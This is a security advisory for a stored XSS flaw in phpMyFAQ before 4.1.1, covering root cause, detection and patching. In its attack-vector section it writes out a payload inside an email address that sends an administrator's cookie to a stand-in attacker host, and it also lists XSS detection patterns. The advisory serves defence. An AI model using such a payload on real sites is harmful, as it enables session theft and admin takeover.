CVE-2026-32629: phpMyFAQ XSS Vulnerability

CVE-2026-32629 Overview

phpMyFAQ, an open source FAQ web application, contains a stored Cross-Site Scripting (XSS) vulnerability that allows unauthenticated attackers to inject malicious HTML and JavaScript code through specially crafted email addresses. The vulnerability exists in how the application handles guest FAQ submissions, where email addresses containing HTML payloads within RFC 5321 compliant quoted local parts bypass both PHP's email validation and the application's sanitization mechanisms.

Critical Impact
Unauthenticated attackers can inject persistent XSS payloads that execute in the context of admin sessions when viewing submitted FAQs, potentially leading to session hijacking, privilege escalation, or administrative account compromise.

Affected Products

phpMyFAQ versions prior to 4.1.1

Discovery Timeline

2026-04-02 - CVE CVE-2026-32629 published to NVD
2026-04-02 - Last updated in NVD database

Technical Details for CVE-2026-32629

Vulnerability Analysis

This vulnerability exploits a gap between RFC 5321 email address specifications and HTML rendering contexts. RFC 5321 permits quoted strings in the local part of email addresses, allowing characters that would otherwise be invalid. This means an email address like "<script>alert(1)</script>"@evil.com is technically valid according to the RFC specification and passes PHP's FILTER_VALIDATE_EMAIL validation function.

The attack chain unfolds across three distinct phases. First, an unauthenticated attacker submits a guest FAQ entry with a malicious email address containing HTML or JavaScript within the quoted local part. Second, PHP's built-in email validation filter accepts this address as valid, allowing it to be stored in the database without any HTML entity encoding or sanitization. Third, when an administrator views the submitted FAQ in the admin editor interface, the Twig templating engine renders the email using the |raw filter, which explicitly disables auto-escaping and outputs the stored payload directly into the HTML context.

The use of Twig's |raw filter is particularly dangerous as it bypasses all of Twig's built-in XSS protection mechanisms, treating any content as safe HTML to be rendered without modification.

Root Cause

The vulnerability stems from CWE-20 (Improper Input Validation) combined with unsafe output handling. Specifically, the application relies solely on FILTER_VALIDATE_EMAIL for email validation without considering that RFC-compliant email addresses can contain characters that are dangerous in HTML contexts. Furthermore, the admin template inappropriately uses the |raw Twig filter when displaying user-supplied email data, completely bypassing the auto-escaping that would otherwise neutralize the XSS payload.

Attack Vector

The attack is network-based and requires no authentication or special privileges. An attacker can exploit this vulnerability by:

Navigating to the public FAQ submission form
Submitting a guest FAQ with an email address containing an XSS payload in the quoted local part (e.g., "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"@attacker.com)
Waiting for an administrator to review the submitted FAQ in the admin panel
The malicious script executes in the administrator's browser session with full access to admin functionality

The vulnerability allows for sophisticated attacks including session token theft, CSRF token harvesting for further attacks, modification of FAQ content, or creation of rogue admin accounts. For detailed technical information, see the GitHub Security Advisory GHSA-98gw-w575-h2ph.

Detection Methods for CVE-2026-32629

Indicators of Compromise

Database entries in FAQ-related tables containing email addresses with HTML tags or JavaScript code within quoted strings
Email field values containing patterns like "<script, "<img, "<svg, or other HTML elements followed by "@
Unusual outbound connections from admin browser sessions to unknown domains
Admin session cookies appearing in external server logs

Detection Strategies

Implement Web Application Firewall (WAF) rules to detect and block email addresses containing HTML special characters within quoted local parts
Monitor database fields for stored XSS patterns, particularly in email columns where quoted strings containing < or > characters appear
Review application logs for FAQ submissions with unusually long or complex email addresses
Deploy Content Security Policy (CSP) headers to detect and report script execution from unexpected sources

Monitoring Recommendations

Enable verbose logging for all FAQ submission endpoints to capture complete request payloads
Set up alerting for any email addresses stored in the database that contain <script>, <img, onerror=, onclick=, or similar XSS patterns
Monitor admin user session activity for anomalies that might indicate compromised sessions

How to Mitigate CVE-2026-32629

Immediate Actions Required

Upgrade phpMyFAQ to version 4.1.1 or later immediately
Review the database for any existing FAQ submissions with suspicious email addresses containing HTML or JavaScript
Audit and sanitize any email fields in the database that contain < or > characters within quoted local parts
Consider temporarily restricting guest FAQ submissions until the patch is applied

Patch Information

The vulnerability has been addressed in phpMyFAQ version 4.1.1. The fix implements proper HTML entity encoding for email addresses before rendering them in admin templates, and removes the unsafe |raw filter from email display contexts. Download the patched version from the GitHub Release 4.1.1. For technical details about the vulnerability and remediation, refer to the GitHub Security Advisory GHSA-98gw-w575-h2ph.

Workarounds

Disable guest FAQ submissions by restricting access to authenticated users only until the patch can be applied
Implement additional server-side validation to reject email addresses containing < or > characters, regardless of RFC compliance
Add a Content Security Policy (CSP) header with script-src 'self' to prevent execution of inline scripts even if injected

bash

# Example: Add CSP header via Apache configuration
# Add to .htaccess or Apache virtual host configuration
Header set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"